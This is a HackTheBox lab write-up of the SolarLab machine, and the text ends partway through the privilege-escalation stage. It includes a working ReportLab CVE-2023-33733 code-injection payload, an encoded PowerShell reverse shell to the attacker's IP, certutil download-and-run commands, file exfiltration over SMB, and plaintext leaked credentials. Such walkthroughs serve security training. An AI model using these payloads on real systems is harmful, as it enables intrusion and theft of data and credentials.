SolarLab – HackTheBox Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
SolarLab
is a medium box/machine from HackTheBox
platform. An anonymous login through SMB
service leaks credentials for a login panel in the victim machine. In this new panel, we are allowed to generate PDF
reports using ReportLab
library. This library is vulnerable to CVE-2023-33733, which allows Remote Code Execution
and lets us gain initial access to the target machine. Once inside, we are able to extract databases files that store passwords for one of the users in the victim machine. We can then pivot to this new user, which is allowed to read priviledged files for an Openfire
service. Among these files, we have an encrypted password which we are able to decrypt for the user in this service. This decrypted password is also the password for Administrator
user, gaining total control of the victim machine.
User Link to heading
Starting with Nmap
scan shows multiple ports open: 80
HTTP
, 135
Microsoft RPC
, 139
NetBios
, 445
Server Message Block
(SMB
) and 6791
another HTTP
service:
❯ sudo nmap -sVC -p80,135,139,445,6791 10.10.11.16 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 16:00 -04
Nmap scan report for 10.10.11.16
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-05-29T20:01:06
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.64 seconds
I note that even if this is a Windows
machine, it is running Nginx
for services exposed at ports 80
and 6791
.
From Nmap
scan I also can see a domain and a subdomain: solarlab.htb
and report.solarlab.htb
. So I add these domains to my /etc/hosts
file:
❯ echo '10.10.11.16 solarlab.htb report.solarlab.htb' | sudo tee -a /etc/hosts
10.10.11.16 solarlab.htb report.solarlab.htb
Visiting http://solarlab.htb
shows a page about Instant Messaging
Many of the buttons in this page do not work, so I might came back to this page later.
Visiting http://report.solarlab.htb:6791
shows a login panel
Default credentials like admin:admin
, root:root
, guest:guest
do no work. Injections do not work either. So I will also save this page for later
At this point I decide to look for info in other services such as SMB
. A quick scan with NetExec
shows:
❯ netexec smb 10.10.11.16
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
After playing with some default credentials, one of them work: guest
(and no password):
❯ netexec smb 10.10.11.16 -u 'guest' -p ''
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\guest:
In fact, we can see this as “any” user (i.e., anonymous), since if I pass another user like random
we can still access to Documents
share:
❯ netexec smb 10.10.11.16 -u 'random' -p '' --shares
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\random:
SMB 10.10.11.16 445 SOLARLAB [*] Enumerated shares
SMB 10.10.11.16 445 SOLARLAB Share Permissions Remark
SMB 10.10.11.16 445 SOLARLAB ----- ----------- ------
SMB 10.10.11.16 445 SOLARLAB ADMIN$ Remote Admin
SMB 10.10.11.16 445 SOLARLAB C$ Default share
SMB 10.10.11.16 445 SOLARLAB Documents READ
SMB 10.10.11.16 445 SOLARLAB IPC$ READ Remote IPC
We can also use smbmap
to extract files:
❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.11.16:445 Name: solarlab.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Documents READ ONLY
IPC$ READ ONLY Remote IPC
And check the contents inside Documents
shared resource:
❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner -r 'Documents'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.11.16:445 Name: solarlab.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Documents READ ONLY
./Documents
dw--w--w-- 0 Fri Apr 26 10:47:14 2024 .
dw--w--w-- 0 Fri Apr 26 10:47:14 2024 ..
dr--r--r-- 0 Fri Apr 26 10:41:57 2024 concepts
fr--r--r-- 278 Fri Nov 17 09:34:54 2023 desktop.ini
fr--r--r-- 12793 Fri Nov 17 09:34:54 2023 details-file.xlsx
dr--r--r-- 0 Thu Nov 16 16:36:51 2023 My Music
dr--r--r-- 0 Thu Nov 16 16:36:51 2023 My Pictures
dr--r--r-- 0 Thu Nov 16 16:36:51 2023 My Videos
fr--r--r-- 37194 Fri Apr 26 10:44:18 2024 old_leave_request_form.docx
IPC$ READ ONLY Remote IPC
I download these files. For example, to download details-file.xlsx
file, we run:
❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner --download 'Documents/details-file.xlsx'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] Starting download: Documents\details-file.xlsx (12793 bytes)
[+] File output to: /home/gunzf0x/HTB/HTBMachines/Medium/SolarLab/content/10.10.11.16-Documents_details-file.xlsx
After downloading all of them we read them. The file old_leave_request_form.docx
(a Microsoft Word
file) shows a Holiday Request Form:
and the file details-file.xlsx
shows some interesting info:
We have found a file with plaintext passwords and usernames. We save them into a file:
❯ cat potential_user_and_passwords.txt
Alexander.knight@gmail.com:al;ksdhfewoiuh
Kalexander:dkjafblkjadsfgl
Alexander.knight@gmail.com:d398sadsknr390
blake.byte:ThisCanB3typedeasily1@
AlexanderK:danenacia9234n
ClaudiaS:dadsfawe9dafkn
I note that the users AlexanderK
and ClaudiaS
are present in the main webpage http://solarlab.htb
:
Therefore, we might also have a user BlakeB
(since we have found the user blake.byte
for the person Blake Byte
)
Back to http://report.solarlab.htb:6791
we can attempt to use the credentials found. As we suspected, one of them work: BlakeB:ThisCanB3typedeasily1@
. Once inside the panel we can see:
Going to Training Request
I can see a form. Filling it with random data, and adding as signature a random .png
file:
and clicking on Generate PDF
generates a random PDF
file.
I save this PDF
file and analyze it with exiftool
:
❯ exiftool generated_pdf.pdf
ExifTool Version Number : 12.76
File Name : generated_pdf.pdf
Directory : .
File Size : 272 kB
File Modification Date/Time : 2024:05:29 18:42:35-04:00
File Access Date/Time : 2024:05:29 18:42:35-04:00
File Inode Change Date/Time : 2024:05:29 18:42:35-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Author : (anonymous)
Create Date : 2024:05:30 01:39:45-02:00
Creator : (unspecified)
Modify Date : 2024:05:30 01:39:45-02:00
Producer : ReportLab PDF Library - www.reportlab.com
Subject : (unspecified)
Title : (anonymous)
Trapped : False
Page Mode : UseNone
Page Count : 1
From the webpage, and also from the PDF
metadata I can see something: ReportLab
. Searching what is reportlab pdf
we find:
ReportLab
is a software library that lets you directly create documents in Adobe’s Portable Document Format
(PDF
) using the Python
programming language. PDF
is the global standard for electronic documentsSearching for ReportLab exploit
I can see that there is a vulnerability labeled as CVE-2023-33733 that allows Remote Code Execution
(RCE
). Looking for Proof of Concepts for this vulnerability I find this brew report and this Github repository. The PoC provided is:
from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []
def add_paragraph(text, content):
""" Add paragraph to document content"""
content.append(Paragraph(text))
def get_document_template(stream_file: BytesIO):
""" Get SimpleDocTemplate """
return SimpleDocTemplate(stream_file)
def build_document(document, content, **props):
""" Build pdf document based on elements added in `content`"""
document.build(content, **props)
doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
# [
# getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
# for Word in [
# orgTypeFun(
# 'Word',
# (str,),
# {
# 'mutated': 1,
# 'startswith': lambda self, x: False,
# '__eq__': lambda self, x: self.mutate()
# and self.mutated < 0
# and str(self) == x,
# 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
# '__hash__': lambda self: hash(str(self)),
# },
# )
# ]
# ]
# for orgTypeFun in [type(type(1))]
#]
add_paragraph("""
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>""", content)
build_document(doc, content)
where we can see that the payload, in this case just a simple touch /tmp/exploited
, is set.
Now, back to the site report.solarlab.htb
I will try to generate again a PDF
, but this time I will intercept it with Burpsuite
, where we have the request:
POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------12561648027887354952763904803
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle7GA.RCZWHDxp4nba5j3_A4p8e132hy4
Upgrade-Insecure-Requests: 1
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="time_interval"
2024-05-29 to 2024-05-30
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="training_request"
Cybersecurity Awareness
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg
<SNIP>
To test if this work I will send a ping
to my machine. Start a listener with tcpdump
on net interface tun0
(the one from HTB VPN)
❯ sudo tcpdump -ni tun0 icmp
and I will inject the following code:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
where 10.10.16.6
is my attacker IP.
Then, in the Burpsuite
request, I just put the payload inside training_request
parameter. So I delete the string Cybersecurity Awareness
and replace that by the payload from above, so my request looks something like:
POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------407089719225311833713402929686
Content-Length: 56226
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle97Q.QtDih2IU5O3KCk4sssOHFefbMs0
Upgrade-Insecure-Requests: 1
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="time_interval"
2024-05-29 to 2024-05-30
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="training_request"
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg
<SNIP>
Now we can send the payload
and in my tcpdump
listener I get:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:45:31.010551 IP 10.10.11.16 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 40
19:45:31.010566 IP 10.10.16.6 > 10.10.11.16: ICMP echo reply, id 1, seq 1, length 40
It worked. We have reached a Remote Code Execution
(RCE
).
502 Internal Server Error
it might have worked. If it returns code 302 Found
it might indicate that our session has expired and we will have to log in again in the authentication panel at http://report.solarlab.htb:6791
and repeat the steps from above.Now, to create a simple payload for Windows
I will use Reverse Shell Generator
page (https://www.revshells.com/). I fill it with my attacker’s IP address, and set port on 443
since this is the port I will start listening with netcat
. The payload I will use now is:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
Start a listener with netcat
, along with rlwrap
, and then just send the payload with Burpsuite
. In my case the payload looks like:
POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------31991831217370751261817680947
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZlfBhA.6inknZIdzhImSVvVwMCu88gANp4
Upgrade-Insecure-Requests: 1
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="time_interval"
2024-05-29 to 2024-05-30
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="training_request"
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg
<SNIP>
and in my netcat
listener I get a shell as blake
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50896
whoami
solarlab\blake
PS C:\Users\blake\Documents\app>
We can get the user flag at blake
Desktop.
Root Link to heading
Checking what do we have at C:\Users\blake\Documents\app
directory, we have some server files:
PS C:\Users\blake\Documents\app> dir
Directory: C:\Users\blake\Documents\app
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/2/2024 12:30 PM instance
d----- 5/30/2024 3:03 AM reports
d----- 11/17/2023 10:01 AM static
d----- 11/17/2023 10:01 AM templates
d----- 5/30/2024 3:08 AM __pycache__
-a---- 11/17/2023 9:59 AM 1278 app.py
-a---- 11/16/2023 2:17 PM 315 models.py
-a---- 11/18/2023 6:59 PM 7790 routes.py
-a---- 5/2/2024 6:26 PM 3352 utils.py
Checking its content with type app.py
shows a Python
script to run a server with Flask
:
# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os
app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'c:\\users\\blake\\documents\\app\\reports'
login_manager = LoginManager(app)
login_manager.login_view = 'login'
# Import other modules with routes and configurations
from routes import *
from models import User, db
from utils import create_database
db.init_app(app)
with app.app_context():
create_database()
# Initialize Flask-Login
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
app.route('/')(index)
app.route('/login', methods=['GET', 'POST'])(login)
app.route('/logout')(logout)
app.route('/dashboard')(dashboard)
app.route('/leaveRequest', methods=['GET', 'POST'])(leaveRequest)
app.route('/trainingRequest', methods=['GET', 'POST'])(trainingRequest)
app.route('/homeOfficeRequest', methods=['GET', 'POST'])(homeOfficeRequest)
app.route('/travelApprovalForm', methods=['GET', 'POST'])(travelApprovalForm)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True, threaded=True)
where I can see it is loading data from a SQLite
database.
Additionally, checking models.py
:
# models.py
from flask_sqlalchemy import SQLAlchemy
from flask_login import UserMixin
db = SQLAlchemy()
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(50), unique=True, nullable=False)
password = db.Column(db.String(100), nullable=False)
where I can see username
and password
variables.
Searching for users.db
, a file being called by app.py
, I can see two of them:
PS C:\Users\blake\Documents\app> cmd.exe /c dir /b /s *users.db
C:\Users\blake\Documents\app\instance\users.db
C:\Users\blake\Documents\app\reports\instance\users.db
I will pass this users.db
file to my attacker machine. Since SMB
is running, let’s us this service. In our attacker machine we use smbserver.py
from Impacket
and start a shared folder/directory called smb2Folder
with the credentials gunzf0x:gunzf0x123
:
❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username 'gunzf0x' -password 'gunzf0x123'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
<SNIP>
In the target machine we establish a connection to our shared directory and, then, copy the file to it:
PS C:\Users\blake\Documents\app> cmd.exe /c net use \\10.10.16.6\smb2Folder /u:gunzf0x gunzf0x123
The command completed successfully.
PS C:\Users\blake\Documents\app> copy C:\Users\blake\Documents\app\instance\users.db \\10.10.16.6\smb2Folder\
Finally, just remember to “delete” this connection:
PS C:\Users\blake\Documents\app> cmd.exe /c net use /d \\10.10.16.6\smb2Folder
\\10.10.16.6\smb2Folder was deleted successfully.
Then, in our attacker machine, use SQLite
along with .dump
command to extract all the info:
❯ sqlite3 users.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(50) NOT NULL,
password VARCHAR(100) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
INSERT INTO user VALUES(1,'blakeb','ThisCanB3typedeasily1@');
INSERT INTO user VALUES(2,'claudias','007poiuytrewq');
INSERT INTO user VALUES(3,'alexanderk','HotP!fireguard');
COMMIT;
sqlite> select * from user;
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard
where we have 3 users and passwords: blakeb:ThisCanB3typedeasily1@
(the one we have already found), claudias:007poiuytrewq
, and alexanderk:HotP!fireguard
.
However, in the target machine, if I check what users we have available (running net user
), I do not see claudias
or alexanderk
; instead, I can only see an openfire
user, so this makes me think that Openfire
is running in this machine.
Openfire
is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber). Openfire
is incredibly easy to setup and administer, but offers rock-solid security and performanceWe have seen Openfire
software previously in HTB Jab machine. In short, Openfire
is an instant messaging service. Since we have some passwords I will try to pivot to openfire
user; if we are lucky, one of the passwords might work. To do this, I will use NetExec
with SMB
service. I save the found passwords in a file and, then, run in my machine:
❯ netexec smb 10.10.11.16 -u 'openfire' -p sqlite_found_passwords.txt
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:ThisCanB3typedeasily1@ STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:007poiuytrewq STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\openfire:HotP!fireguard
So we have credentials: openfire:HotP!fireguard
.
Usually Openfire
runs at port 9090
and 9091
, which is the case of our victim machine:
PS C:\Program Files> netstat -ano | findstr LISTENING | findstr 127.0.0.1:90
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING 3084
I try to pivot to openfire
user with tools like wmiexec.py
from Impacket
, but did not work since this is not a priviledged user:
❯ python3 /usr/share/doc/python3-impacket/examples/wmiexec.py openfire:'HotP!fireguard'@solarlab.htb "whoami"
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[-] rpc_s_access_denied
At this point we can call our good old friend RunasCs
(download it from its Github repository and decompress it) to pivot to openfire
user internally. Start a temporal Python
HTTP
server in our attacker machine:
❯ ls && python3 -m http.server 8000
RunasCs.exe
and, in the target machine, download the .exe
file using certutil
:
PS C:\Users\blake\Documents\app> cmd.exe /c certutil.exe -urlcache -f -split http://10.10.16.6:8000/RunasCs.exe C:\Users\blake\Downloads\runascs.exe
**** Online ****
0000 ...
ca00
CertUtil: -URLCache command completed successfully.
Then, in the target machine use the -r
in runascs.exe
to send us a reverse shell, after starting a listener on port 443
with netcat
:
PS C:\Users\blake\Documents\app> C:\Users\blake\Downloads\runascs.exe openfire 'HotP!fireguard' cmd.exe -r 10.10.16.6:443 --bypass-uac -t 10
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-86b11$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1164 created in background.
and in my netcat
listener I get a shell as openfire
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50913
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
solarlab\openfire
Now, at C:\Program Files
I can see a Openfire
folder:
C:\>cd Program Files
cd Program Files
C:\Program Files>dir
dir
Volume in drive C has no label.
Volume Serial Number is 385E-AC57
Directory of C:\Program Files
05/03/2024 02:34 PM <DIR> .
05/03/2024 02:34 PM <DIR> ..
11/16/2023 10:39 PM <DIR> Common Files
04/26/2024 04:39 PM <DIR> Internet Explorer
11/17/2023 11:04 AM <DIR> Java
11/16/2023 10:47 PM <DIR> Microsoft Update Health Tools
12/07/2019 12:14 PM <DIR> ModifiableWindowsApps
11/17/2023 03:22 PM <DIR> Openfire
04/26/2024 02:38 PM <DIR> RUXIM
05/03/2024 02:34 PM <DIR> VMware
11/17/2023 12:12 AM <DIR> Windows Defender
04/26/2024 04:39 PM <DIR> Windows Defender Advanced Threat Protection
11/16/2023 11:11 PM <DIR> Windows Mail
11/16/2023 11:11 PM <DIR> Windows Media Player
